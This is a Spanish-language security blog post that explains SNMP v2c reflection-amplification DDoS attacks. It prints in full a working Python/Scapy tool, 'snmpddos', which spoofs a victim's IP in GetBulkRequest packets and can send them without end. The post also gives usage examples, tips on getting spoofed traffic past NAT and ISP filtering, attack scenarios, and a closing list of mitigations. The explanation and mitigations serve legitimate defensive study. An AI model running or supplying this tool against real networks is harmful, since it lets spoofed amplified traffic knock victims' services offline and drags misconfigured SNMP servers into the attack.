El objetivo de esta entrada es presentar una herramienta que denomine snmpddos.  Esta  herramienta permite utilizar servidores SNMP V2c para realizar un ataque de denegación de servicio distribuido basado en reflexión (SNMP reflected attack);   Antes de enfocarnos en la práctica de este ataque  vamos  a  explicar en qué consiste y como funciona.

Funcionamiento del ataque:

Bueno antes de entender la técnica de DDoS basada en reflexión SNMP, vamos recordar que SNMP es un protocolo de administración, su uso ha sido muy extendido para el monitoreo y supervisión de los dispositivos de red en entornos corporativos, existen tres versiones SNMP V1 (no recomendada), V2c (no recomendada)  y V3 (recomendada), las dos primeras versiones  tienen  autenticación débil (basado en el valor de la comunidad)  y no cifran la información, SNMP utiliza típicamente UDP como protocolo de transporte, utiliza los puertos  UDP/161 y UDP/162 (traps).

Los dos factores determinantes para ejecutar el ataque son los siguientes:

  1. En una comunicación basada en protocolo UDP (no orientada a la conexión) y por motivos de eficiencia, los datos se envían y se reciben sin verificar la conexión con el origen o destino de la misma y se da por hecho la correcta entrega o recepción de datos. Esto nos permite modificar la dirección IP origen dando pie al “IP spoofing”.
  2. Por otra parte el protocolo SNMP permite que se realicen consultas de gran volumen a través del tipo de solicitud llamado  “GetBulkRequest”, esta solicitud  en la V2c se caracteriza por que el tamaño de su respuesta (423-1560 Bytes) es mucho más grande que el de la solicitud (0-102 Bytes), esto significa que existe un efecto de amplificación ya que la respuesta es más grande que la solicitud

De acuerdo a lo explicado, a todas las solicitudes SNMP tipo GetBulkRequest que se hagan a un servidor SNMP modificando la IP origen (IP Spoofing)  por la IP de la víctima, el servidor SNMP responderá con respuestas de gran tamaño a IP la víctima. (tal como lo muestra la siguiente imagen).

Explotando DDoS en servidores SNMP - 1
Si esto mismo lo masificamos obtendremos un ataque de denegación distribuido basado en reflexión SNMP, tal como se muestra en la siguiente imagen:

Explotando DDoS en servidores SNMP - 2

SCRIPT snmpddos
Este script se encuentra escrito en Python y hace uso de Scapy, funciona perfectamente en Bactrack 5 R3 y KALI. El código se encuentra en GitHub y se puede descargar desde https://github.com/jevalenciap/snmpddos/blob/master/snmpddos.py

# Autor: Juan Esteban Valencia Pantoja jevalenciap at gmail dot com
import sys
import random
import logging # La siguiente  linea es usada para omitir los errores de IPV6 que pueden aparecer por importar scapy.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import argparse
import os
import urllib2
if os.getuid() != 0: # Valida si el script esta siendo corrido como root
    print("Debes ejecutar este script como root.")
    sys.exit(1)
parser = argparse.ArgumentParser(description='Esta herramienta contruida con fines educacionales permite simular el comportamiento de  un ataque de denegacion de servicio distribuida basado en reflexion utilizando el protocolo SNMP V2c (DDoS SNMP reflected attack). ') # Esta y las siguientes 4 lineas controlan y definen los argumentos ingresados
parser.add_argument('-d', action="store",dest='snmp_server', help='La IP destino del servidor SNMP(argumento mandatorio)')
parser.add_argument('-c', action="store",dest='community', help='La comunidad SNMP(por defecto es public).')
parser.add_argument('-p', action="store",dest='port', help='El puerto destino del servidor SNMP(por defecto es UDP 161).')
parser.add_argument('-v', action="store",dest='victim_IP', help='La IP de la victima que recibira el ataque(argumento mandatorio).')
parser.add_argument('-s', action="store",dest='count', help='La cantidad de paquetes que deseas enviar,puedes enviar infinitos paquetes ingresando  X o x (argumento mandatorio).')
args = parser.parse_args()

if len(sys.argv) == 1: # Obliga a mostrar el texto del 'help' sino hay argumentos ingresados.
    parser.print_help()
    sys.exit(1)
args = vars(args) # Convierte los argumentos en formato diccionario para facil manejo.
iterationCount = 0 # Variable usada en el ciclo while para controlar la cantidad de veces que un paquete es enviado.

oid ="1.3.6.1.2.1.1.1" # El OID conocido como sysDescr fue el que mejores resultados obtuvo en las pruebas de laboratorio.

if args['port' ] == None :
    uport= 161 # Si no se ingresa el puerto, por defecto sera 161/UDP
else:
    uport= int(args['port']) # La variable uport toma el valor del puerto 

if args['community']  == None :
    communi= "public" # Si no se ingresa la comunidad , por defecto sera public
else:
    communi= args['community']

if args['count'] == "X" or args['count'] == "x": # Si se ingresa x o X se enviara infinitos paquetes
      while (1 == 1):
        w =IP(dst=args['snmp_server'],src=args['victim_IP'])/UDP(sport=RandShort(),dport=uport)/SNMP(version="v2c",community=communi,PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)), SNMPvarbind(oid=ASN1_OID(oid))]))# Esta linea construye el paquete SNMP utilizando los argumentos ingresados
        send(w,  verbose=0) # Envia el paquete
        iterationCount = iterationCount + 1
        print(str(iterationCount) + " Paquete enviado")# Mensaje en pantalla
else: # Se ejecuta si el usuario digita la cantidad de paquetes que va enviar
    while iterationCount < int(args['count']):
        w =IP(dst=args['snmp_server'],src=args['victim_IP'])/UDP(sport=RandShort(),dport=uport)/SNMP(version="v2c",community=communi,PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)),SNMPvarbind(oid=ASN1_OID(oid) )]))# Se envia paquete SNMP  utilizando los argumentos ingresados
        send(w,  verbose=0) # Envia el paquete
        iterationCount = iterationCount + 1
        print(str(iterationCount) + " Paquete enviado")
print("Todos los paquetes fueron enviados exitosamente.")# Mensaje mostrado cuando todos los paquetes han sido enviados

Utilizando la opción  -h podemos ver las opciones

Explotando DDoS en servidores SNMP - 3

En el siguiente ejemplo enviamos 7 solicitudes SNMP tipo GetBulkRequest al servidor  SNMP con IP 10.0.0.1 (Router Cisco), haciendo una suplantación de la IP origen para que todas las respuestas del servidor SNMP sean enviadas a la IP de la víctima es decir a la IP 10.0.0.3. En esta solicitud se utiliza la comunidad SNMP ‘public’, es la que va por defecto si el argumento –c no es especificado, al igual que el puerto destino por defecto es UDP/161 si no es especificado

Explotando DDoS en servidores SNMP - 4

En Wireshark podemos ver  que el tamaño de la solicitud es de 97 Bytes.

Explotando DDoS en servidores SNMP - 5

En la siguiente imagen podemos ver la respuesta amplificada que le envía el servidor  SNMP (10.0.0.1) a la víctima (10.0.0.3) en donde se aprecia que tiene un tamaño de 1438 Bytes. Adicionalmente la victima envía un paquete ICMP de port unreacheable al servidor SNMP generando tráfico adicional.

Explotando DDoS en servidores SNMP - 6

En este último ejemplo a diferencia del anterior se envían paquetes constantemente (argumento –s X), y se especifica la comunidad SNMP en “private” (argumento –c private)

Explotando DDoS en servidores SNMP - 7

Cuando se requiera trabajar con  IPs publicas validar que el dispositivo de borde no haga NAT a este tráfico. También no deben existir configuradas ACL en los routers  y demás dispositivos de capa3 del ISP que impidan el  IP spoofing.

Escenarios de ataque

  • -Un atacante que tenga acceso lógico  a una Subred o VLAN de servidores en un entorno corporativo mediano (superior a 100 servidores) donde todos los servidores estén siendo monitoreados a través de SNMP, puede causar alto impacto alto en la disponibilidad de los servicios que ofrece la victima del ataque.
  • Muchos proveedores de servicio de Internet dejan habilitado por defecto SNMP en los enrutadores que instalan nuestras casas para la prestación del servicio, eso quiere decir que tienen configurada la comunidad por defecto llamada “public” y a merced de que sean utilizados para hacerle una denegación de servicio a tu conexión de Internet.
  • Por ultimo tenemos las botnets, que a través de sus consolas de control pueden enviar comandos a las maquinas infectadas (bots) para que generen este tipo de tráfico a la víctima sin que este sea percibido por los bots.

Mitigaciones:

  • No exponer a Internet el protocolo SNMP, recomendable utilizar VPNs IPsec sitio a sitio para comunicar las consolas de administración (NMS) con dispositivos administradoso en su defecto aplicar políticas de Firewall para filtrar solamente el  trafico SNMP a IPs publicas específicas.
  • Utilizar en los ambientes corporativos VLAN o subredes de administración ( SNMP, HTTP, HTTPS, RDP, SSH, TELNET, etc…) y deshabilitar el acceso administrativo a las demás interfaces de red de los servidores o equipos de red.
  • Muchos fabricantes de UTMs y Firewall de nueva generación no permiten IP spoofing por defecto, una buena práctica que evita el IP spoofing  a nivel de Firewall es  siempre especificar el direccionamiento origen en las reglas o políticas que se crean (no dejarlas any).
  • Existen dispositivos comerciales y servicios en la nube especializados en detener ataques DDoS.
  • No utilizar las comunidades por defecto public y private, recuerden que para las V1 y V2 de SNMP el nombre de la comunidad es lo único que se utiliza para autenticarse al servidor SNMP y poder tener acceso a la información  (lectura/escritura)   por lo tanto el valor de la comunidad se debe escoger siguiendo las mismas buenas practicas que para una  contraseña robusta.
  • Utilizar SNMP V3 cifra los datos y  la autenticación es más robusta.
  • Exista una labor muy grande que tienen que hacer los ISP para evitar el IP spoofing en sus dispositivos de red y evitar los ataques DDoS de reflexión.
  • Siempre que se instale una impresora o cualquier dispositivo a la red validar que no tenga habilitado por defecto SNMP.

Articulo escrito por Juan Esteban Valencia Pantoja para La Comunidad DragonJAR

×

! Contacta con DragonJAR ¡

Haga clic en uno de nuestros representantes para chatear en WhatsApp, tambien puedes llamarnos al +57 3046768721 o envíenos un correo a [email protected]

× ¿Como puedo ayudarte?